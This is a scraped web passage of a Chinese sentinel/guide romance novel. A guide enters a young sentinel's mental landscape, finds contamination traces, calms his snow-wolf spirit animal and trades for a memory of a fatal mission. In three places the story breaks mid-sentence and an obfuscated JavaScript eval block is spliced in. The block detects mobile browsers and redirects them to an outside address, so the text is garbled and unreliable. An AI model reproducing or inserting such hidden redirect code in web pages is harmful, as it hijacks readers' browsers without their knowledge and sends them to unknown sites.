实在太好欺负了。 因为距离近的缘故,他能感受到祝回的呼吸、碰到祝回的心跳,并且听见对方喉咙里溢出的颤音。 祝回的气息越来越乱,已经到了不利于立即进入战斗的程度。 可明明最开始对视时,那双眼睛里还充满了冷淡和警惕。 那是只属于浴血过的士兵的视线,果敢,决断,徐寻月只在军队最顶尖的战士身上见到过,而祝回并不比那些老兵差。 这样的一个年轻哨兵,现在却顺从到称得上乖巧,没有丝毫争抢主导权的意思,红着耳朵分开唇迎合亲吻。 徐寻月轻轻咬住他的下唇,没把脆弱的地方咬破,只是不容拒绝地入侵,将柔软干燥的部位打开,碰触对方发着抖的舌尖。 好像有一场新雪落在他们唇边,冰冷,清新,让人下意识想深深吸一口气。 一场少见的、讨人喜欢的雪。 徐寻月揉了揉祝回滚烫的耳垂,将指尖沾到的水渍化开。 接着五指下移,不轻不重地握住哨兵后颈,同样阖上双眸。 *** “嘎吱。” 光亮再次出现的时候,徐寻月正好踩在一根干枯的树枝上。 周围光线很暗,天空是很浅的白色,看着就让人打不起精神。 他借着这种让人不舒服的光观察四周,发现自己身处一片雪原。 雪原辽阔得一眼望不到边,上面却堆积着不少废弃物,细看是无人居住的小木屋之类的简易建筑,本该雪白松软的地面则呈现出部分稀落的灰黑。 再往远处看,竟然有一座青葱高耸的山崖,上面植被葱郁,隐隐能听到其中的不绝鸟鸣。 两厢对照,更显景象怪异。 祝回的精神世界居然是这样。 哨兵是精神世界脆弱的存在。他们的精神图景敏感而危险,受到攻击就容易不稳定,进而导致狂化神游等不可挽回的后果,最后走向死亡。 哨兵的想法、情绪、记忆,都被保护在他们精神图景深处。徐寻月虽然没给哨兵做过精神疏导,却也见过一些哨兵的精神图景。 早年,他和同伴在灾变区边缘执行任务的时候,总会有一些突发情况,大家尽全力战斗了,仍然有人被灾变因子彻底污染。 没有办法,他用精神攻击杀死过正在朝灾变体转化的哨兵队员。 第一次做这类事时,徐寻月刚从向导学院毕业,那个被污染的哨兵和他同届,爱说俏皮话,走之前说队长,得麻烦你帮忙把我包裹里的东西带给我的向导了,还好我们没有三级结合。 徐寻月摧毁了那个哨兵的精神图景。 再后来,因为相同的缘由,徐寻月见过其他哨兵的精神图景,它们要么死气沉沉,要么凶戾尖锐。 祝回的精神图景里却有草木。 即便是在那样遥远、那样陡峭的山壁上。 无论从哪个角度说,它都是赏心悦目的,尽管徐寻月知道,那里一定不会像表面看上去那样安谧祥和、生机勃勃。 他进入了祝回的精神世界,祝回不可能毫无察觉。 就算被结合热影响、被他引导了,现在也该恢复过来。 徐寻月更倾向于认为祝回在观察他,在暗处伺机而动。 人们总能在自己的精神世界中更加自由地穿梭,现实世界的任何东西都不如这的用起来称心。在自己的精神世界里,精神力够强的人想要有什么,就能有什么。 祝回只是没有直接现身。 当徐寻月以自己的衡量标准对祝回做评估时,祝回同样在评估他。 立场如何,有多强大,能否融洽相处,是否天然契合…… 祝回的标准,会是什么? 没在原地过多停留,徐寻月绕过木屋残骸,朝那座陡峭的山靠近。 眼见为实,耳听为虚,如果没有足够的时间蕴养出信任,记忆将会是最有力的证据。 徐寻月原本的目标就是祝回的记忆,尤其是那个除去祝回无人生还的任务记忆。 关于祝回的资料,他搜集到的其实并不复杂,甚至可以称得上一目了然: 母亲是普通人,父亲是普通哨兵,双亲皆因灾变去世;少时在待规划区生活,觉醒后进入白塔学习,后因表现优异提前获得参军资格。 除了今年那个帝君派下来的任务没有过多介绍,祝回的成长经历几乎能直接概括为生长在灾变时期人的普遍背景,外加天才般的潜力。 太简单了,也太干净了。 “……” 才走几步,徐寻月就发现了一个端倪。 和其他哨兵只为防御竖起、视觉效果并不真实的精神屏障不同,这片雪原上的废墟格外细致,仿佛真的存在一样。徐寻月从前出任务的时候,就经常见到这样的建筑残骸。 祝回的精神世界有损伤,这很正常,只要是战斗过的哨兵,或多或少都有。 可徐寻月觉得,不仅是这样。 那些因为感官过载、精神力使用过度而狂化的哨兵,他们的精神图景只会出现垃圾、裂痕和鸿沟,仿佛精神世界的伤口,徐寻月脚边的废墟也是典型的范例。 而脚下这种灰黑色却以渐变的形式,杂糅、渗入到漂亮的雪地中,融为一体,极其碍眼。 就和污染一样。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15306028|167219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但……灾变因子的污染? 灾变因子出现于灾变之后,也就是海神纪的十四年间,是一种人类难以感知的物质,白塔在八年前才研发出专门测量它的仪器。 这种物质生存能力弱,传染性强,一旦在人体内稳定存活,被寄生者就会在几个小时内完成转化,成为灾变体,这样的情况则被称作彻底污染。 徐寻月清晰地记得每一个死去的队员,也记得他们精神图景在最后一刻的景象。 烟雾升腾,泡沫溃散,所有事物都变得模糊、静止,变得灰黑,如同旧时代的默片。 那种腐烂的色彩,和眼前雪原如出一辙。 只是这片雪原上仍有白色,且白色居多,和灰黑形成了鲜明对比,似乎制约着那些灾变因子,不让它们外泄分毫。 祝回的精神图景是从什么时候变成这样的? 会是那次任务的影响吗? 帝国公民都知道,没能快速摆脱灾变因子的人只能等死。人类和灾变因子,是完全无法相容的两种存在。 可祝回没有半点被污染的样子。 如果有,徐寻月一定会在见到他的那刻发现,根本不用看哨兵的精神图景。 毕竟祝回是他知道的第二个例外,他自己是第一个。 徐寻月不受灾变因子的影响,永远不会被污染,这是多年实战验证的结果。他的程度比祝回还更夸张,堪称灾变因子绝缘体,那玩意到他身上不过一分钟,活性就消失了。 也是因为这个,他以前经常在灾变区边界带队救援,面对巨大的风险和责任,军衔升得很快。 就在徐寻月停下脚步观察雪原的时候,袖子忽然传来一股拉力。 侧头看去,是一匹巨大的雪狼。 银针般的毛发泛着光泽,琥珀色虹膜倒映雪景,耳尖沾着未化的雪粒,即使蹲坐,也有成人肩膀那么高。 那条大而蓬松的尾巴高高竖起,是自信而激动的表现。 这是凶猛的肉食动物,雪原上驰骋的野兽。 它突然冒出来,咬住了徐寻月的衣袖。 要战斗吗? “……” 雪狼见徐寻月看到自己,收起獠牙,转而用脑袋凑近他。 徐寻月没动。 雪狼歪头思考,半晌把自己变小一圈,蹲坐时只到徐寻月的腰部。 它又把脑袋凑过去。 一抹情绪贴着徐寻月侧颊滑过。 【看小回被他碰到就很舒服的样子……我猜这个向导的手法一定很棒!】 【嘻嘻,试试。】 徐寻月:“……” 这种控制不住外泄的情绪是不可能伪装的,它是真这么想。 祝回就让自己的精神体这样? 而且,即便到了这一刻,祝回依旧没有出现。 徐寻月和那双琥珀色的狼眼对视。 雪狼现在的高度刚刚好,他只要略一抬手,就能摸到那颗毛茸茸的脑袋,以及两只毛茸茸的耳朵。 怪可爱的。 好吧,摸一下。 他揉揉雪狼的耳朵。 遥远的山崖边,望着雪原的年轻哨兵闷哼一声。 捂住了自己的耳朵。 5. 熟悉 树叶在山间的风中晃动,叶片上闪过许多画面:哨兵学院的试炼场,待规划区的警戒线,灾变区的皑皑白雪…… 这座山是精神世界的中心,而这一片片树叶,就是哨兵存放记忆的地方。 祝回站在树下,一只手撑着树干,身体仍然有些发抖。 他咬住自己下唇,防止泄出声音被向导听见,可齿尖刚接触到下唇,又想起徐寻月之前是怎么咬着这里亲他的。 力道很轻,又很专/制,好像知道他不会抗拒、也无法抗拒一样。 他的脸开始发烫。 进入精神世界之后,现实世界里的反应是不会被带过来的,就相当于把身体的所有状态都重置了。 眼看自己又要重蹈覆辙,祝回颇为懊恼。 接吻的时候这种反应,就算了,现在只是被摸了精神体,居然也这样。 或许,他该在徐寻月到达这里的第一刻出现,而不是在远处观察。 可他忍不住再看一会。 只有保持内心平静、拉开距离观察的时候,得到的答案才可能趋近真实,不受急促心跳的影响。 进入他精神世界的徐寻月是完全健康的状态,没有一丝病气。不需要轮椅,不需要厚厚的大衣,独自走在荒原上,雪中翠竹般清隽挺拔。 祝回下意识觉得,眼前的徐寻月,比坐着轮椅披着大衣在灯下看书时更让他感到熟悉。 熟悉到……像某个人。 祝回不敢确定。 不过,他听说徐寻月,已经有很久了。 从他十四岁觉醒成哨兵、开始学习有关向导和哨兵的知识后,他就知道这个高级向导的名字,没有哪个哨兵不知道这个名字。 帝国历史上最年轻的首席向导,让人又敬又怕的攻击型向导,灾变时代的天才,灾变时代的英雄。 据说,他二十岁那年带队支援了十九个待规划区,清扫出它们与灾变区的界线, 据说,他在帝都无亲无故,全靠自己站稳脚跟,是帝君最重要的亲信之一。 虽然这些,都已经是过去式。 但这些也都和祝回没有关系。 三年前,他以哨兵学院学生的身份进入军队,徐寻月于同年出了意外,不久便辞去了所有在军部的职位。他们没有正式见面,也没有任何公务上的交集。 作为后辈,作为士兵,祝回发自内心地钦佩这位向导,为他感到遗憾和惋惜,只是最近发生的一些事,让他不得不神经紧绷,对帝君派系的人有所防备。 他不想怀疑徐寻月,他甚至打算尽己所能照顾徐寻月,但婚约过于蹊跷,谨慎有利无弊。 祝回原本想了很多,脑子里过有很多假设。 可当对方触碰他,握他的手,捏住他下巴命令他吻他的时候,一切好像又变得简单起来。 他……成为了徐寻月的哨兵。 他的本能,就是亲近徐寻月。 而他的精神体,那只话多又挑剔、好胜又仗义,遇到危险爱冲在前面,总说要做他两肋插刀最好朋友的雪狼精神体,竟然小狼崽似的冲徐寻月撒欢。 它甚至引诱徐寻月摸它,还成功了。 向导指尖的温度比精神体低些,揉弄雪狼的力度也不轻,那种不紧不慢的压迫很容易让祝回联想到他们进入精神图景前的互动。 以至于现在,他出现也不是,不出现也不是。 祝回的呼吸逐渐急促。 他觉得有点渴,不、是很渴,大概是来徐寻月住所的路上没有喝水,迟来的干燥终于在这一刻侵袭了他。他松开咬住唇瓣的犬齿,抿了抿自己的下唇。 五感持续朝徐寻月所站的地方汇聚,时间每过去一秒,感受就变深一分。 他们明明隔得那么远,他却清晰地知道徐寻月的呼吸,徐寻月指节弯曲的弧度,徐寻月被低垂眼睫遮住的视线,就好像被摸的是他。 不适应。 很喜欢。 仅仅是被摸了精神体,都像是经历了一场疗愈,绷紧的心弦不自觉舒展,浑身上下,都不由自主地放松下来。 “……” 另一边,雪狼在向导脚边趴成一滩狼饼,发出细细的呜呜声,尾巴在雪地上扫来扫去,划了好多个半圆。 徐寻月本来只准备摸一下的,可雪狼的手感太好,他就不止摸了一下。 他摸了耳朵、脑袋、脊背、尾巴,都是毛茸茸热乎乎的。但如果要从里面挑一个,他还是偏爱耳朵一点。 雪狼的两只耳朵尖尖上都有细碎的黑斑,要近距离看才能发现。最开始的时候,他还以为是对方在雪地里打了滚,不小心沾了沙砾石子。 此时此刻,那两只带着细碎黑斑的耳朵正在微微颤动,似乎是想把耳朵尖尖上的雪粒甩掉。 徐寻月眼中闪过一丝笑意,干脆伸手帮忙将雪粒抹去,又顺手揉了一下。 却见那两只耳朵抖了抖,慢慢向后弯折,最后变得和飞机机翼一样。 他微微一愣,有些惊讶。 飞机耳? “咔。” 祝回撑在树干上的手猛然收拢,五指深深扎进木头。 他的脸颊、耳朵、后颈,全都再一次变得通红。 ……没出息的家伙。 “沙沙沙。” 树干因为哨兵刚刚的动作不住震颤,承载着记忆的树叶也一阵摇晃。 如果祝回想攻击,现在的情况倒很适合暴起。 但他没有。 抬手摘下一片树叶,哨兵的身影消失在山间。 绿树的颤动却没能那么快停止,在树的顶端,一片颜色最嫩、最为鲜活的树叶甚至晃得翻了个面。 那片叶子储存的记忆,也随之暴露在阳光下。 和叶子的生机勃勃不同,它储存的记忆片段——即那时祝回的视角——看上去情况很糟,画面黑暗,颠簸,还有光斑东一下西一下地乱窜。 过了一会,画面中央裂开了一条月牙形缝隙。 缝隙颤颤巍巍地扩大,更加刺激的光照了进来,将月牙、也就是刚刚睁开的眼睛刺得眯了眯。 眼泪瞬间从画面边缘溢出,模糊了画面中的所有景物,那些特别白的天空、特别白的树叶、特别白的雪山……都白得病态,扎眼,让人不想再看第二秒。 可视线的主人没有罢休。 视野中的景物快速变幻,显然是在赶路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15306029|167219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这个视角却有些奇怪。画面里看不到地面,入目全是天空、树干、树叶、雪,还都是白色。 只在视野左边缘,有一小块黑色的、看上去像是布料的东西。 他在被人抱着走。 视线开始移动。 先左,再上,期间生理性泪水不要钱似的往外冒,叶子里的整个画面都被浸得水汪汪的。 更多的黑色露了出来,那确实是布料,看外型,还是衣服领子的布料,它们靠得很近。 视线继续往上。 很快,一个曝光度极高的侧影出现在画面中。 他很模糊,戴着防护面具,就算反复观看这片记忆叶子,也只能依稀分辨出两个特征。 高马尾,眼睛好像是蓝色。 视线刚一定住,那个人就低了头,接着迅速抬手,带有凝结伤口的手掌将画面、也就是记忆主人的眼睛遮住。 “眼睛闭上。” 或许是当时状态太差的缘故,就连这声音听上去也很朦胧,像是和耳膜隔了一层。 但还是能够听出来,他的声音十分年轻,有一种天生领导者的气场,又很有安全感。 那个人语气平静地说: “你的雪盲症已经很严重了。” 画面重新变得黑暗而颠簸。 “沙沙沙……” 记忆树叶的晃动声逐渐减小,树干逐渐恢复原本的挺拔。 徐寻月揉捏狼耳朵的动作一顿。 他直起身,若有所思地看了眼山崖的方向。 果然在那。 这时候才准备现身……终于受不了? 他好像是有点过分,用那么强硬的姿态诱导一个还没从哨兵学院毕业的哨兵。 哄骗他闭上眼睛,暗示他放松警惕,入侵他的精神世界,玩弄他的精神体,把雪狼揉出飞机耳,还一副悠哉悠哉心情愉悦的模样。 这对任何一个战士而言,都是一件极其屈辱的事。好好的较量对峙、紧张僵持,瞬间成了另一个隐秘而暧昧的故事。 但……祝回本来不就是他的哨兵吗? 听他的话,也很正常。 祝回做得很好。 徐寻月忽然感觉自己的手被什么东西拱了拱。 垂眼看去,就见雪狼仰头望着他,发出撒娇一样的小声呜鸣,像是在疑惑为什么不继续摸。 徐寻月等了两秒。 “……” 雪原上的风呼呼刮着脸庞,不冷,却存在感十足。 雪狼有些耐不住了,它试探着微抬上半身,琥珀色眼睛微微反光,似乎想和向导来个更升级的接触抚摸,扑住徐寻月的腿,将毛茸茸的脑袋塞进对方臂弯。 它伸出前爪,跃跃欲试—— 它消失了。 徐寻月早已聚集的精神力却未就此分散。 在他身前,灰白而混沌的风雪瞬息席卷,将雪狼踩出的大坑覆盖,却无一丝吹到徐寻月身上。 风雪的缝隙之间,最为明显的,同样是一双琥珀色眼睛,只是颜色更深一些。 这个精神世界、这片雪原的主人,终于收回了他的精神体。 出现在徐寻月面前。 6. 声控灯 战斗终于还是发生了。 对向导而言,在精神世界战斗无疑更加有利,可有利不代表稳操胜券,最顶尖的向导会要求自己在一场战斗中毫发无伤。 徐寻月抢了先手,他选择率先制住目标。 祝回出现时靠得太近,即便只是站在那,也超过了向导和哨兵的安全距离。 现实世界情况特殊,结合热影响了祝回的身体,徐寻月自己似乎也受到了本能的影响。 但在祝回的精神世界,徐寻月不可能再放他进入这个范围。 就算他们之间的气氛并没有想象中那样剑拔弩张,记忆、情绪、五感,却是所有哨兵的逆鳞。 安全,从来是靠自己赢取的,而非靠指望对方不出手碰来的。 阴影自哨兵的影子里分裂出来,灵活又诡谲地缠住他的军靴,颇有几分不久前偷跑过来绊他一脚的架势,却远远不止于此。 它们将他向后拖、往下按,仿佛祝回不是身处自己掌管的雪原,而是一片他人操控的海域。 祝回脚下也确实出现了一个由浓郁黑影组成的洞口,它们以某种微妙又奇异的节奏律动着,如同一个凭空出现的漩涡,能把选好的猎物送到任何它们想送到的地方。 哪里都会有影子,因为哪里都有亮光。哪怕是在灾变区最黑最深的夜,也会有千里之外的月光,以及神秘生物身体散发的微光。 光,和阴影。 二者难以察觉,同样难以消灭。 “滋。”激光声响。 哨兵原本空荡的两只手里出现了枪,一支对准雪地,一支向前抬起,皆是红光闪烁蓄势待发的模样。 才消失不到几秒的雪狼从半空跃出,划出一条优美的弧线,却已完全不是刚才缩小到腰部的体型。它像一座活动的山峦,雪白皮毛下的肌肉流畅而暴力。 它扭过头,兽瞳凶狠,后肢蓄力,眼看就要以猛兽撕咬猎物的姿态扑来——那不是带着友好社交信号的玩闹,而是拥有搏杀意味的扑击。 这本该是极为短暂的一瞬,一切发生于电光火石之间,在徐寻月的眼睛里却被无限放慢。 他看见雪狼扭头瞧过来时愣了一下,脑门上浮现出大大的、几乎能汇聚成实体的无数个问号;他看见雪地上的黑色漩涡蔓延开,迅速裹住雪狼因惊讶迟迟没蹬出的后腿;他看见两支尚未开火的枪一点点移动瞄准,对上自己的要害…… 他看见祝回的瞳孔收缩,里面映出一个向导的倒影。 那个倒影穿着介于休闲与精致之间的礼服,扎着凸显慵懒的低马尾,脸上既没戴防护器具、也没有干涸的血痕,手套洁白到一看就让人觉得养尊处优。 可他的精神体又是如此强势,如此不容许挣脱,让人无端想象他曾经可能的模样。 红光闪烁的枪口抬到一半,忽然直接消失了。 阴影们动作一顿,随即将猎物捆得更紧,哨兵甚至被扯得踉跄半步。 他没有更多的动作了,才出现几秒的雪狼也再一次凭空消失。 消失。 这不是徐寻月的杰作。 只有精神世界的主人,才能凭借心意,在自己的家园中随意创造和抹去。 徐寻月没发动真正意味上的攻击,也比谁都清楚自己出手会是什么画面。 无非是哨兵的精神图景被阴影笼罩,无非是所有事物像素点般迅速老化,无非是一切变浅变淡变模糊……但都不会像刚才。 生命的存在很重,即使最可怕的灾变生物,都做不到让它们直接消失,不留一点痕迹。 这里是祝回的精神图景。 就像徐寻月没直接发动精神攻击一样,祝回也放弃了他刻进骨子里的、条件反射发出的回击。 一场战斗,突然开始又突然结束,仿佛从来没打响过。 但还是出乎徐寻月预料了,因为是否受到伤害和是否掌握主导权是两码事。 他不伤害祝回,不代表他什么都不会对祝回做。 可是,到底怎样的信息,才能给这位帝国历史上最年轻的首席哨兵足够筹码,让他在应激后做出这种对策? 毫无疑问,祝回已经被控制住了。高帮军靴跟黏在雪地上似的动弹不得,双手因无形的束缚反剪在身后,甚至他整个身体都蒙上了一层暗色,仿佛有什么庞然大物在上空投下阴影笼罩他,可上空偏偏什么都没有。 多么被动。 徐寻月盯着他的眼睛,仍然只在一片琥珀色中看见自己的倒影。 那样陌生,那样熟悉。 徐寻月记得,在灾变之前的岁月里,他家乡深秋的时候,颜色相似的琥珀色树脂就会从枫香树树皮的裂缝中渗出,留住那一刻的阳光、那一刻的湿度、那一刻的空气,从今往后永远存在,也永远属于过去。 他不动声色地拨动二人周围的精神力,试图引导、解构、阅读,主动捕捉祝回的情绪。 他的确找了个好时机,这次,他听见了年轻哨兵尚在颤栗的心绪。 一闪而过。 【……会是哥哥吗。】 ……哥哥? 那缕情绪来去太快,几乎让徐寻月以为是自己听错。 他用更加长久的目光确认,得到一个理所应当的答案:他之前真的不认识祝回。 偶尔见过几面不等于认识,到不了用这种称呼的程度。 祝回也许在找人,而在刚才的某个瞬间里,因为某些元素的相似,他把他认成了那个人。 雪原之上,灰白色烟尘混合雪沫快速升腾。 一片青翠到有些突兀的树叶自祝回掌心飘出,同样奇迹般朝上飞舞,一直飞到徐寻月眼睛的高度,挡住了那道暗含分辨意味的视线。 年轻哨兵没觉察自己泄露了什么秘密,也不知道徐寻月听见了什么声音,或许,此时此刻他内心并不像表现出来的那样冷静镇定,所以才无法周全所有细节。 他被捆着,却维持着和面部表情如出一辙的平稳语气,在战斗结束后的第一秒开口,说出了今晚存在于他们之间的第三句话: “做个交易。” 徐寻月接住那片被精神力确认过无害的树叶,瞥见叶面上快速变换的场景。 雪原,冰面,海底。 交谈,烈酒,装着向导素的注射器。 踊跃的面孔,谨慎的面孔,死去的面孔。 画面视角固定,里边没有祝回的脸,却闪过另外四个同样年轻的身影。 徐寻月不认识这四个人,但他查过祝回的资料,对在那场任务里死亡人员的照片留有一定印象。 他认了出来,这是祝回的记忆。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15306030|167219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祝回的记忆就储存在这些绿色的树叶中。远处那座高山是大本营,而眼前这片树叶,则承载着有关神秘任务的记忆,也是徐寻月最想看的东西。 在徐寻月原本的计划里,他会踏过雪原,自己登上那座山,在数以百万千万计的叶片中检索,一一掠过、仔细挑选,最后找到答案。 这必然能成功,只不过作为攻击型向导,徐寻月更擅长摧毁,而不是这种以不伤害对方为前提的和风细雨,因而需要额外耗费一些精力。 但现实是祝回自投罗网,又或者说、祝回以某种委婉的姿态将他拦在了雪原。 知道一定要有个结果,所以主动交出徐寻月想要的东西,并且谈起了所谓的“交易”。 这个举动完全合理,毕竟没谁希望陌生人随意翻阅自己的记忆宫殿。 祝回想用徐寻月手里的记忆树叶,换一个尚未言明的存在。 徐寻月没有拒绝,他用上了和年轻哨兵相似的语气,那种公事公办、冷淡又克制的语气。 “说说看。” “八年前,你去过奉山A2区吗?” 灾变之后,帝国土地根据安全程度被划分成四个区域,由内到外分别是:帝都、中城区、待规划区、灾变区。帝都是白塔所在地,中城区是这四个中范围最大的,待规划区是一条弯弯绕绕颇为狭窄的缓冲地带,再往外,就是让人闻之色变的灾变区。 学者会根据灾变区的特色给每个灾变区命名,而灾变区附近的待规划区的名字,就是灾变区加字母编号加数字编号。字母编号从前到后,第几个字母就代表是第几次勘定界线确认的待规划区,数字编号则是待规划区细分出来方便管辖的小区域。 奉山A2区,是属于过去的地域名,如今奉山周围的待规划区都带着字母C,说明八年间边界有两次变动。 空气安静片刻。 祝回的问题简直是紧跟着徐寻月的话说出来的,就好像他早早准备好了,只等着徐寻月肯定一样。 但,它是一个问题,祝回居然问了一个简单到发指的问题,当事人只要回答是或否就能解决。 ……八年前啊。 徐寻月回忆了一下,想起那是他二十八年岁月里最为忙碌的一年,去过的地方很多很多。 待规划区已有不少,细分的小区域更叫人眼花缭乱,对在混乱时期赶场似的到处救援的军官而言,实在是一件难以记清的事。 最终他说,没有。 年轻哨兵的眼睛好像黯淡了一点。 徐寻月其实有点喜欢那双琥珀色的眼睛,也许是因为雪狼,他觉得雪狼眼睛发亮把脑袋往自己掌心里蹭的样子特别可爱。 祝回眼睛的颜色比精神体要深些,这样一黯,就更显得可怜,好像自己让他落空了什么似的。 徐寻月顺便用精神力感知了下,发现祝回的情绪波动已经不见了。 是又收回去了。 他有些哭笑不得,多想了一会,确定自己的记忆没出错,才说:“我只去过奉山A1区。” 琥珀色眼睛又变亮了一点。 徐寻月确定自己没看岔,高级向导这点观察力还是有的,他甚至因此联想到了一个可能不太礼貌的比喻,那双眼睛—— 像声控灯一样,还是暖色的灯。 7. 队长 徐寻月没有停顿太久。 他回答完那个极其简单的问题,又说:“公平交易。再想想,还要什么。” 祝回陷入了短暂的沉默。 最开始他动了动唇,似乎有能够脱口而出的话,但他没说出来,而是过了一会轻声道:“那就要你的精神疏导。” “我的精神疏导?”徐寻月表示意外,祝回的两个选择都让他感到意外,“我没有精神疏导的经验,而且,我是攻击型向导,大概率会痛。” “可是我们的匹配度已经到达标准了。” “……” 这回,轮到徐寻月沉默了。 “匹配度达到标准”,祝回是在说那60.01%的匹配度? 他敢用自己当时在向导学院年年第一的匹配度理论学成绩打包票,货真价实的60.01%匹配度下的精神疏导,绝对没帝都畅销的人工向导素有效。 当然,前提是货真价实。 等他出去,或许可以和祝回重测一次匹配度。 虽然在后续的一些接触中,他使用了精神暗示和精神诱导,亲吻和拥抱也会加剧身体反应,但祝回一进入房间就被引发结合热是不争的事实。 对哨兵而言,缓解狂躁与负荷的方式有三种:和向导建立一对一的亲密关系并结合,找精神疏导室或军队军医进行一般性疏导,购买白塔研发的各种人工向导素,三种方式的获取难易依次降低。 寻找命中注定的伴侣苛求运气,人工向导素却是白塔研发几百年的项目了。 它价格实惠,适用性广,见效还快,哪怕是出身普通的哨兵,攒几天工资,也能买到这救命的家伙。帝国目前最畅销的那款,虽然因为不同的人会略微有些波动,但总体作用相当于匹配度65%向导的安抚,而微不足道的缺点是不像真人那么鲜活,这很好理解,毕竟冷冻食品也不如现做。 再说祝回本人。婚约之后,徐寻月查过他的匹配列表。 匹配列表,是将测试对象数据和所有入库人员数据相匹配的结果,操作者能得到一张写着所有和测试对象匹配度在60%以上人的名单。帝国每个年满二十五周岁的哨兵或向导,数据都会被投入系统进行测算,往后每年,都能得到属于自己的那张匹配列表。 匹配列表出来之后并不会启动强制程序,它其实是一种变相的相亲,激励迟迟没找到伴侣的人有目的地采取行动。 个人终端不能进行这种测试,它需要专业的仪器,且仪器只在有关部门和少数贵族中流通。徐寻月跟财务大臣关系不错,婚约公布后不久就找了机会拜访对方,顺便看了属于祝回的匹配列表。 祝回的匹配列表是比较少见的类型。 没有和他匹配度超过70%的向导,上60%的有一些,大多数据零散分布在67%-62%之间,和徐寻月的60.01%是当之无愧的最低。 匹配列表空白对向导的影响不大,对哨兵而言,却是提前下发的死亡通知单。祝回没到那么危机的地步,情况却也非常不利。 没有70%以上的匹配度,意味着无论多好的医生都只能给伤者提供比较基础治疗,遇到严重的精神伤口就会束手无策。 好在祝回的精神图景一直处于比较稳定的状态,徐寻月没查到他去精神疏导室的记录,大概之前不是自己解决就是购买人工向导素。 所以……祝回怎么会想要他的精神疏导? 徐寻月倒是不排斥这项活动。精神疏导可以说是每个向导与生俱来的能力,之前因为匹配度限制一直无法将知识和感悟运用出来,现在有机会实操,他反而颇感兴趣。 只是,感兴趣归感兴趣,保护、修复、治疗,都比破坏难得多。 破坏只需要一个疏忽一个错位,修复却需要全心全意的托付和全神贯注的关照。 “你想的话,当然可以。”徐寻月做了个总结,将视线转向手心那片记忆树叶。 *** 入目是一片经典的中城区景象。 徐寻月知道,祝回和另外四个人,就是一路从帝都出发,穿过中城区和待规划区,赶往某个灾变区的边界。 中城区并不发达,但它安全。雪覆盖了这里的屋顶和街道,褪色墙面结着薄薄的霜,光秃秃的梧桐树下挂着冰凌,和帝都不同,这里给人一种宁静略带破败的感觉。 太阳存在感微弱地悬在天边,只为人们起到照明作用,对结了冰的小水洼没有一丝威胁。 尽管如此,有太阳,就已经算难得的好天气了。工人重复性地做着扫雪铲雪的工作,孩子们在堆雪人打雪仗,老一辈则在太阳下聊着天,乍一望去,场面竟显得有几分热闹。 叶片上的画面因为车辆的行进向前移动,伴随着积雪被车轮轧过的声音,镜头,也就是祝回的视线同样移动,落在百米开外,一个路边院子的门口。 那蹲着个大胡子中年人,手掩在下巴处,嘴里咬着根火星暗淡的烟,风一吹,烟灰便明灭着燎在他的胡茬上。 他逆着光,眯眼觑过来。 “注意一下。” 一个比环境音清晰许多,也冰冷许多的声线出现了。 “前方一百三十米,有劣质烟草的气味。” 徐寻月听出这是祝回。 哨兵五感发达,在毫无防备的情况下,闻到那种刺鼻的劣质烟草味很容易产生躁动和不适,他提醒得很及时。 周围响起悉悉索索的衣料摩擦声,大概是有人在调整坐姿。 “确实,那个大叔在抽烟欸,这年头烟这么贵,他抽的不会是放了十多年的前纪元产物吧?”这是个清亮的男声。 另一个利落的女声则说:“收到,三个人的精神链接都调节好了。” “嗯。”祝回的视线开始向左转,车窗、座椅靠背被他一一掠过,另外四个坐在车上的年轻人暴露在画面中。 一个向导,三个哨兵,加上祝回自己,“4+1”五人小队,这是帝国最小的作战单位。 在帝国,参军有三种去向,分别是组成小队游荡在发生变故的各个待规划区、呆在待规划区的固定哨岗、守卫帝都。那些没背景又刚毕业,或者提前取得参军资格的白塔学生,一般都会加入一个小队。 徐寻月就带过这样的队伍,带过好几支,因为是攻击型向导且匹配列表空白,他的队伍配置还是帝国独一份的“3+2”,多一个向导,少一个哨兵。 画面中,刚刚发言过的娃娃脸男哨兵还在说话:“队长,你是怎么做到隔那么远就感应到还淡定自若的?太稳定了吧,真是厉害!” “眼睛。”祝回很平静。 “……” “噗哈哈哈哈哈哈哈哈。”坐在他身边一个极其瘦削的青年爆笑出声,末了理所应当地道,“队长就是队长嘛,他这么稳定,又不是一天两天了。” 一旁,短发飒爽的向导姑娘赞同点头,眼里带着敬佩。 “队长是我见过天生最接近黑暗哨兵的人。” 黑暗哨兵是传说中的概念,指那些精神力和自我控制能力都极为强大的哨兵,他们自己就能控制好自己的情绪,对向导基本没有依赖。 